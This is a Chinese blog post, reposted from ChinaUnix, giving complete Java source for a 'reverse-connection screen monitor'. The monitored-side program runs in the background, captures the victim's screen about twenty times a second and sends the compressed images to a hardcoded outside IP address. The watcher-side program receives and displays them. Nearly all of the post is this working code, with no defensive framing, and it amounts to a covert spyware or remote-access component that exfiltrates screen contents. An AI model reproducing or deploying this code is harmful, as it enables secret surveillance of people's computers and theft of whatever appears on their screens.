JAVA用TCP 实现反向连接屏幕监视

ozy518

//以下这个为服务器类 被监视的用户
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread{
   private Dimension screenSize;
   private Rectangle rectangle;
   private Robot robot;
   private JPEGImageEncoder encoder;
  
   public ShellServer() {
     screenSize = Toolkit.getDefaultToolkit().getScreenSize();
     rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域
     try{
       robot = new Robot();
     }catch(Exception e){
       e.printStackTrace();
       System.out.println(e);
     }
   }
public void run(){
  ZipOutputStream os = null;
  Socket socket=null;
  while (true){
   try{
    socket = new Socket("220.173.44.158",5000);//连接远程IP
    BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域
    os = new ZipOutputStream(socket.getOutputStream());//加入压缩流
    //os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));
   
    os.setLevel(9);
    os.putNextEntry(new ZipEntry("1.jpg"));
    JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG
    os.close();
    Thread.sleep(50);//每秒20帧
   }catch(Exception e){
    e.printStackTrace();
   }finally{
    if(os!=null){
     try{
      os.close();
     }catch(Exception ioe){}
    }
    if(socket!=null){
     try {
      socket.close();
     } catch (IOException e) {
     }
    }
   }
     }
}
public static void main(String[] args) {
  new ShellServer().start();
}
}
//以下这个为客户端类 监视者
import java.awt.*;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import javax.swing.*;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.ZipInputStream;
public class ShellClient  extends JFrame{
Dimension screenSize;
public ShellClient() {
  super();
  screenSize = Toolkit.getDefaultToolkit().getScreenSize();
  this.setSize(800, 640);//设置Frame初始
  Screen p = new Screen();//屏幕类
  Container c = this.getContentPane();
  c.setLayout(new BorderLayout());//布局
  c.add(p,"Center");//添加一个Panel
  new Thread(p).start();//开启线程
  this.show();//显示本Frame
}
public static void main(String[] args){
  new ShellClient();
}
class Screen extends JPanel implements Runnable{
  private Image cimage;
  public void run(){
   ServerSocket ss=null;
   try{
    ss=new ServerSocket(5000);//探听5000端口的连接
    while(true){
     Socket s=null;
     try{
      s=ss.accept();//获取一个SOCKET
      ZipInputStream  zis=new ZipInputStream(s.getInputStream());
      zis.getNextEntry();//获得ZIP流的ENTRY
      cimage = ImageIO.read(zis);//把ZIP流转换为图片
      //cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));
      repaint();//重画
     }catch(Exception e){
      e.printStackTrace();
     }finally{
      if(s!=null){
       try {s.close();} catch (IOException e) {}
      }
     }
    }
   }catch(Exception e){}
   finally{
    if(ss!=null){
     try {ss.close();} catch (IOException e) {}
    }
   }
  }
  public Screen() {
   super();
   this.setLayout(null);
  }
  public void paint(Graphics g){
   super.paint(g);
   Graphics2D g2 = (Graphics2D) g;
   g2.drawImage(cimage, 0, 0, null);
  }
}
}
主要采用了 TCP协议+压缩流~ 速度还可以！不过觉得还可以优化 用UDP+动态的矩阵迟点再改进吧！


本文来自ChinaUnix博客，如果查看原文请点：http://blog.chinaunix.net/u1/39124/showart_322125.html